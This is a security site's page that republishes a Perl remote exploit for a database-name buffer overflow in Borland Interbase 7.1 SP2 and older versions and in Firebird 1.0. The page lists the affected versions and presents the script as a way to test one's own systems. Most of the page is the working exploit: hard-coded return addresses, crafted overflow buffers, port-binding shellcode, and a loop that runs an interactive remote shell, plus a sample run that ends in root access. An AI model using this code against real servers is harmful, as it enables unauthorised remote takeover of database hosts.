SecuriTeam - Exploit Code for Firebird Database Remote Database Name Overflow

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Firebird is "a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981". As we reported in our previous article Firebird Database Remote Database Name Overflow, an exploitable buffer overflow in Firebird Database (based on Borland Interbase's code) allows a remote attacker to cause it to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Ramon de Carvalho.
The original article can be found at: http://www.priv8security.com/exploits/priv8ibserver.pl

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable Systems:
* Interbase version 7.1 SP2
* Interbase version 6.01
* Firebird Database version 1.0 (1.0.2-2.1) - Debian unstable

Immune Systems:
* Firebird Database version 1.5.0 (others are presumed to be immune as well)

Exploit:
#!/usr/bin/perl
# Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower
# Public Version!!!
#
# Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html
#
# [wsxz@localhost buffer]$ perl priv8ibserverb.pl -h localhost -t 0
#
# -=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-
#
# [+] Using target 0: Linux Interbase 7.1 SP 2
# [+] Sending first buffer... d0ne!
# [+] Waiting... Got awnser!
# [+] Sending final hit... Done!
# [+] Enjoy your stay on this server =)
#
# ****** Welcome to 'localhost' ******
#
# Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown
# unknown GNU/Linux
# uid=0(root) gid=0(root) groups=0(root)
#
use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', \%args);

if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 3050;}
if (defined($args{'t'})) { $target = $args{'t'}; }else{$target = 0;}
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

print "\n-=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p Port <default 3050>
-t Target number from list.\n\n";
print STDERR "Targets:
0 - Linux Interbase 7.1 SP 2
1 - Linux Interbase 6.01 InterBaseSS_LI-V6.0-1.i386.rpm
2 - Crash\n\n";
print STDERR "Usage: perl $0 -h Victim -t target\n\n";
exit;
}

$shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
"\x02\x89\xe1\xb0\x66\xcd\x80\xff".
"\x49\x02\x6a\x10\x51\x50\x89\xe1".
"\x43\xb0\x66\xcd\x80\x89\x41\x04".
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
"\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
"\x80\x49\x79\xf9\x68\x2f\x2f\x73".
"\x68\x68\x2f\x62\x69\x6e\x89\xe3".
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

if ( $target == "0" ) { # TESTED
$ret = 0x081b7ee3; # jmp esp
$pack = 0;
$desc = "Linux Interbase 7.1 SP 2";
}
if ( $target == "1" ) { # TESTED
$ret = 0x080c77bd; # jmp esp
$pack = 1;
$desc = "Linux Interbase 6.01 .rpm";
}
if ( $target == "2" ) {
$ret = 0x41424344;
$pack = 1;
$desc = "Crash it!";
}

$new_ret = pack('l', ($ret));

# Request buffer
$buffer = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00".
"\x00\x24\x00\x00\x01\x4e".
"A" x 334 .
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x01\x05".
"\x61\x6c\x69\x6d\x61\x04\x05\x6c\x69\x6e\x75\x78\x06\x00\x00\x00".
"\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00".
"\x00\x02\x00\x00\x00\x08\x00\x00\x00\x24\x00\x00\x00\x02\x00\x00".
"\x00\x04\x00\x00\x00\x03\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00".
"\x00\x02\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00".
"\x00\x24\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x05";

# This buffer is for 7.1 version, its a simple classic overflow.
$buffer2 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x2c".
"A" x 152 . $new_ret . "\x90" x (144 - length($shellcode)) . $shellcode.
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x74\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";

# This buffer is for 6.01, a little tricky to exploit.
$buffer3 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x4e".
"\x90" x (128 - length($shellcode)) . $shellcode.
$new_ret x 2 . "\xf8\xfd\xff\xbf" . "\x90" x (180 - length($shellcode)) . $shellcode.
"\xf0\x3a\x1e\x08".
"AAAAAAAAAA".
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x7a\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port)
or die "[-] Cant Connect!!\n";

print STDERR "[+] Using target $target: $desc\n";
print STDERR "[+] Sending first buffer...";
$sock->send($buffer);
print STDERR " d0ne!\n";
print STDERR "[+] Waiting... ";
$sock->recv($text,128);
if($text){
print STDERR "Got awnser!\n";
}
print STDERR "[+] Sending final hit... ";
if($pack){
$sock->send($buffer3);
}else{
$sock->send($buffer2);
}
print STDERR "Done!\n";
sleep(3);

$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset next time ok.\n";

print "[+] Enjoy your stay on this server =)\n";

$sc->autoflush(1);

print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n";
print $sc "echo;uname -a;id;echo\n";

die "cant fork: $!" unless defined($pid = fork());

if ($pid) {
while(defined ($line = <$sc>)) {
print STDOUT $line;
}
kill("TERM", $pid);
}
else
{
while(defined ($line = <STDIN>)) {
print $sc $line;
}
}
close($sc);
print "Good bye!!\n";

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)